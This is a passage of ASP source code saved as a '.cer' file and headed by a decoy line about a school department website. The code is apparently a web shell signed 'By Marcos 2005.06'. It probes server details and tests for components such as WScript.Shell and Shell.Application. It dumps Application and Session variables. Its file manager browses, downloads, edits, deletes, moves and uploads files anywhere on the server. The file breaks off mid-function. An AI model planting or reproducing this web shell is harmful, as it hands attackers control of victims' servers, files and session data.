200681443122869.cer

学校部门网站设计,里面有好多模块譬如 简介联系方式 登陆注册留言新闻发布

		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;服务器名</td>"
		echo "<td>&nbsp;"&aryCheck(2)&"</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;软件环境</td>"
		echo "<td>&nbsp;"&aryCheck(3)&"</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;站点目录</td>"
		echo "<td>&nbsp;"&aryCheck(4)&"</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;当前路径</td>"
		echo "<td>&nbsp;"&aryCheck(5)&"</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;其它</td>"
		echo "<td>&nbsp;"&aryCheck(6)&"</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr align=right>"
		echo "<td colspan=2 class=td>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</table>"
	End Sub

	Sub ObjCheck()
		Dim aryObj(19)
		Dim x, objTmp, theObj, strObj
		If isDebugMode = False Then On Error Resume Next

		strObj = Trim(getPost("TheObj"))
		aryObj(0) = "MSWC.AdRotator|广告轮换组件"
		aryObj(1) = "MSWC.BrowserType|浏览器信息组件"
		aryObj(2) = "MSWC.NextLink|内容链接库组件"
		aryObj(3) = "MSWC.Tools|"
		aryObj(4) = "MSWC.Status|"
		aryObj(5) = "MSWC.Counters|计数器组件"
		aryObj(6) = "MSWC.PermissionChecker|权限检测组件"
		aryObj(7) = "Adodb.Connection|ADO 数据对象组件"
		aryObj(8) = "CDONTS.NewMail|虚拟 SMTP 发信组件"
		aryObj(9) = "Scripting.FileSystemObject|FSO组件"
		aryObj(10) = "Adodb.Stream|Stream 流组件"
		aryObj(11) = "Shell.Application|"
		aryObj(12) = "WScript.Shell|"
		aryObj(13) = "Wscript.Network|"
		aryObj(14) = "ADOX.Catalog|"
		aryObj(15) = "JMail.SmtpMail|JMail 邮件收发组件"
		aryObj(16) = "Persits.Upload.1|ASPUpload 文件上传组件"
		aryObj(17) = "LyfUpload.UploadFile|刘云峰的文件上传组件组件"
		aryObj(18) = "SoftArtisans.FileUp|SA-FileUp 文件上传组件"
		aryObj(19) = strObj & "|您所要检测的组件"

		echo "<br/>"
		echo "<table width=750 border=1>"
		echo "<tr>"
		echo "<td colspan=3 class=td><font face=webdings>8</font> 服务器组件信息"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=3 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr class=td>"
		echo "<td>&nbsp;组件<font color=#666666>(描述)</font></td>"
		echo "<td width=10% align=center>支持</td>"
		echo "<td width=15% align=center>版本</td>"
		echo "</tr>"
		For Each x In aryObj
			theObj = Split(x, "|")
			If theObj(0) = "" Then Exit For
			Set objTmp = Server.CreateObject(theObj(0))
			If Err <> -2147221005 Then
				x = x & "|√|"
				x = x & objTmp.Version
			Else
				x = x & "|<font color=red>×</font>|"
			End If
			If Err Then Err.Clear
			Set objTmp = Nothing

			theObj = Split(x, "|")
			theObj(1) = theObj(0) & IIf(theObj(1) <> "", " <font color=#666666>(" & theObj(1) & ")</font>", "")
			echo "<tr>"
			echo "<td>&nbsp;" & theObj(1) & "</td>"
			echo "<td align=center>" & theObj(2) & "</td>"
			echo "<td align=center>" & theObj(3) & "</td>"
			echo "</tr>"
		Next
		echo "<form method=post action='" & url & "'>"
		echo "<input type=hidden name=PageName value=PageCheck><input type=hidden name=theAct id=theAct>"
		echo "<tr>"
		echo "<td colspan=3>&nbsp;其它组件检测:"
		echo "<input name=TheObj type=text id=TheObj style='width:585px;' value=""" & strObj & """>"
		echo "<input type=submit name=Submit value=提交></td>"
		echo "</tr>"
		echo "</form>"
		echo "<tr>"
		echo "<td colspan=3 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr align=right>"
		echo "<td colspan=3 class=td>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</table>"
	End Sub

	Sub GetAppOrSession(theAct)
		Dim x, y
		If isDebugMode = False Then On Error Resume Next

		echo "<br/>"
		echo "<table width=750 border=1 class=fixTable>"
		echo "<tr>"
		echo "<td colspan=2 class=td><font face=webdings>8</font> Application/Session 查看"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr class=td>"
		echo "<td width='20%'>&nbsp;变量</td>"
		echo "<td>&nbsp;值</td>"
		echo "</tr>"
		If theAct = "app" Then
			For Each x In Application.Contents
				echo "<tr><td valign=top>"
				echo "&nbsp;<span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
				echo "</td><td style='padding-left:7px;'><span>"
				If IsArray(Application(x)) = True Then
					For Each y In Application(x)
						echo "<div>" & Replace(HtmlEncode(y), vbNewLine, "<br/>") & "</div>"
					Next
				 Else
					echo Replace(HtmlEncode(Application(x)), vbNewLine, "<br/>")
				End If
				echo "</span></td></tr>"
			Next
		End If
		If theAct = "session" Then
			For Each x In Session.Contents
				echo "<tr><td valign=top>"
				echo "&nbsp;<span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
				echo "</td><td style='padding-left:7px;'><span>"
				echo Replace(HtmlEncode(Session(x)), vbNewLine, "<br/>")
				echo "</span></td></tr>"
			Next
		End If
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr align=right>"
		echo "<td colspan=2 class=td>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</table>"
	End Sub

	Sub PageFso()
		ShowTitle("FSO文件浏览操作器")
		
		Select Case theAct
			Case "rename"
				RenOne()
			Case "download"
				DownTheFile()
				Response.End()
			Case "del"
				DelOne()
			Case "newone"
				NewOne()
			Case "saveas"
				SaveAs()
			Case "save"
				SaveToFile()
'				AlertThenClose("文件修改成功!")
				ShowEdit()
				Response.End()
			Case "showedit"
				ShowEdit()
				Response.End()
			Case "showimage"
				ShowImage()
				Response.End()
			Case "copy", "move"
				MoveCopyOne()
		End Select
		
		If theAct <> "" Then thePath = GetPost("truePath")
		
		FsoFileExplorer()
	End Sub

	Sub FsoFileExplorer()
		Dim objX, theFolder, folderId, extName, parentFolderName
		Dim strPath
		If isDebugMode = False Then On Error Resume Next
		If thePath = "" Then thePath = "\"
		strPath = Server.MapPath(thePath)
		
		If fso.FolderExists(strPath) = False Then
			ShowErr(thePath & " 目录不存在或者不允许访问!")
		End If
		
		Set theFolder = fso.GetFolder(strPath)
		parentFolderName = fso.GetParentFolderName(strPath) & "\"
		
		echo "<table width=750 border=1>"
		echo "<form method=post action='" & url & "'>"
		echo "<tr>"
		echo "<td colspan=2 class=td><font face=webdings>8</font> FSO文件浏览操作器"
		echo "</tr>"
		echo "<tr><td colspan=2 class=trHead>&nbsp;</td></tr>"
		echo "<tr>"
		echo "<td colspan=2>&nbsp;"
		echo "路径: <input style='width:500px;' name=thePath value=""" & HtmlEncode(thePath) & """>"
		echo "<input type=hidden name=truePath value=""" & HtmlEncode(thePath) & """>"
		echo " <input type=button value='提交' onclick=Command('submit');>"
		echo " <input type=button value=上传 onclick=Command('upload')>"
		echo "</td>"
		echo "</tr>"
		echo "<tr><td colspan=2 class=trHead>&nbsp;</td></tr>"
		echo "<tr><td valign=top>"
		echo "<input type=hidden name=theAct>"
		echo "<input type=hidden name=param>"
		echo "<input type=hidden value=PageFso name=PageName>"
		echo "<table width='99%' align=center>"
		echo "<tr><td colspan=4 class=trHead>&nbsp;</td></tr><tr class=td><td>"

		If thePath <> "\" Then
			folderId = Replace(Mid(parentFolderName, Len(rootPath) + 1), "\", "\\")
			echo "&nbsp;<a href=""javascript:changeThePath(&#34;" & folderId & "&#34;);"">↑回上级目录</a>"
		End If
		echo "</td><td align=center width=80>大小</td>"
		echo "<td align=center width=140>最后修改</td><td align=center>操作</td></tr>"

		For Each objX In theFolder.SubFolders
			folderId = Replace(Mid(objX.Path, Len(rootPath) + 1), "\", "\\")
			echo "<tr title=""" & objX.Name & """><td>&nbsp;<font color=CCCCFF>■</font>"
			echo "<span class=fixSpan style='width:180;'>"
			echo "<a href=""javascript:changeThePath(&#34;" & folderId & "&#34;);"">"& objX.Name & "</a></span>"
			echo "</td>"
			echo "<td align=center>-</td>"
			echo "<td align=center>" & objX.DateLastModified & "</td><td>"
			echo "<input type=checkbox name=checkBox value=""" & objX.Name & """>"
			echo "<input type=button onclick=""Command('rename',&#34;" & objX.Name & "&#34;);"" value='Ren' title=重命名>"
			echo "<input type=button value='SaveAs' title=另存为 onclick=""Command('saveas',&#34;" & Replace(Mid(objX.Path, Len(rootPath) + 1), "\", "\\") & "&#34;)"">"
			echo "</td></tr>"
		Next
		For Each objX In theFolder.Files
			folderId = Replace(Replace(UrlEncode(Mid(objX.Path, Len(rootPath) + 1)), "%2E", "."), "+", "%20")
			echo "<tr title=""" & objX.Name & """><td>&nbsp;<font color=CCCCFF>□</font>"
			echo "<span class=fixSpan style='width:180;'>"
			echo "<a href='" & Replace(folderId, "%5C", "/") & "' target=_blank>" & objX.Name & "</a>"
			echo "</span></td><td align=center>" & GetTheSize(objX.Size) & "</td>"
			echo "<td align=center>" & objX.DateLastModified & "</td><td>"
			echo "<input type=checkbox name=checkBox value=""" & objX.Name & """>"
			
			extName = LCase(fso.GetExtensionName(objX.Path))
			If InStr(editableFileExt, "$" & extName & "$") > 0 Then
				echo "<input type=button value='Edit' title=编辑 onclick=""Command('showedit',&#34;" & objX.Name & "&#34;);"">"
			End If
			If InStr(imageFileExt, "$" & extName & "$") > 0 Then
				echo "<input type=button value='View' title=查看图片 onclick=""Command('showimage',&#34;" & objX.Name & "&#34;);"">"
			End If
			If extName = "mdb" Then
				echo "<input type=button value='Access' title=数据库操作 onclick=Command('access',""" & objX.Name & """)>"
			End If
			echo "<input type=button value='D' title=下载 onclick=""Command('download',&#34;" & objX.Name & "&#34;)"">"
			echo "<input type=button value='Ren' title=重命名 onclick=""Command('rename',&#34;" & objX.Name & "&#34;)"">"
			echo "<input type=button value='S' title=另存为 onclick=""Command('saveas',&#34;" & Replace(Mid(objX.Path, Len(rootPath) + 1), "\", "\\") & "&#34;)"">"
			echo "</td></tr>"
		Next
		echo "<tr class=td><td colspan=3></td>"
		echo "<td><input type=checkbox name=checkAll onclick=checkAllBox(this);>"
		echo "<input type=button value='Delete' onclick=Command('del')>"
		echo "<input type=button value='Pack' title=打包选中文件(夹) onclick=Command('pack')>"
		echo "</td></tr></table>"
		echo "</td><td width='20%' valign=top align=center>"
		echo "<input type=button value=刷新 onclick=this.form.thePath.value=this.form.truePath.value;Command('submit');><br/>"
		echo "<input type=button value=新建文件 onclick=Command('newone','file')><br/>"
		echo "<input type=button value=新建文件夹 onclick=Command('newone','folder')><hr style='color:#d8d8f0;'/>"
		echo "移动选中文件(夹)到<br/><input value=""" & HtmlEncode(thePath) & """ name=MoveTo><br/><input type=button value='移动' onclick=Command('move');><hr style='color:#d8d8f0;'/>"
		echo "复制选中文件(夹)到<br/><input value=""" & HtmlEncode(thePath) & """ name=CopyTo><br/><input type=button value='复制' onclick=Command('copy');><hr style='color:#d8d8f0;'/>"
		echo "</td></tr><tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr align=right>"
		echo "<td colspan=2 class=td>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</form>"
		echo "</table>"
		
		Set theFolder = Nothing
	End Sub
	
	Sub RenOne()
		Dim objX, strPath, aryParam, isFile, isFolder
		If isDebugMode = False Then On Error Resume Next
		aryParam = Split(GetPost("param"), ",")
		strPath = Server.MapPath(GetPost("truePath")) & "\"
		aryParam(0) = strPath & aryParam(0)
		isFile = fso.FileExists(aryParam(0))
		isFolder = fso.FolderExists(aryParam(0))

		If isFile = False And isFolder = False Then
			ShowErr("文件(夹)不存在或者不允许访问!")
		End If

		If isFile = False Then
			Set objX = fso.GetFolder(aryParam(0))
			objX.Name = aryParam(1)
		 Else
			Set objX = fso.GetFile(aryParam(0))
			objX.Name = aryParam(1)
		End If
		Set objX = Nothing

		ChkErr(Err)
	End Sub
	
	Sub DownTheFile()
		Response.Clear
		Dim stream, strPath, fileContentType
		If isDebugMode = False Then On Error Resume Next
		strPath = Server.MapPath(GetPost("truePath")) & "\" & GetPost("param")

		Set stream = Server.CreateObject("adodb.stream")
		stream.Open
		stream.Type = 1
		stream.LoadFromFile(strPath)
		ChkErr(Err)
		Response.AddHeader "Content-Disposition", "Attachment; Filename=" & GetPost("param")
		Response.AddHeader "Content-Length", stream.Size
		Response.Charset = "UTF-8"
		Response.ContentType = "Application/Octet-Stream"
		Response.BinaryWrite stream.Read 
		Response.Flush
		stream.Close
		Set stream = Nothing
	End Sub
	
	Sub DelOne()
		Dim objX, strPath
		If isDebugMode = False Then On Error Resume Next
		strPath = Server.MapPath(GetPost("truePath")) & "\"
		For Each objX In Request.Form("checkBox")
			If fso.FolderExists(strPath & objX) = True Then
				Call fso.DeleteFolder(strPath & objX, True)
				ChkErr(Err)
			Else
				If fso.FileExists(strPath & objX) = True Then
					Call fso.DeleteFile(strPath & objX, True)
					ChkErr(Err)
				End If
			End If
		Next
	End Sub

	Sub MoveCopyOne()
		Dim objX, strPath, strMoveTo, strCopyTo
		If isDebugMode = False Then On Error Resume Next
		strMoveTo = GetPost("MoveTo")
		strCopyTo = GetPost("CopyTo")
		strPath = Server.MapPath(GetPost("truePath")) & "\"
		If theAct = "move" Then
			strMoveTo = Server.MapPath(strMoveTo) & "\"
		 Else
			strCopyTo = Server.MapPath(strCopyTo) & "\"
		End If

		For Each objX In Request.Form("checkBox")
			If theAct = "move" Then
				If InStr(strMoveTo, strPath & objX) > 0 Then
					ShowErr("目标文件夹不能在源文件夹内")
				End If
				If fso.FileExists(strPath & objX) = True Then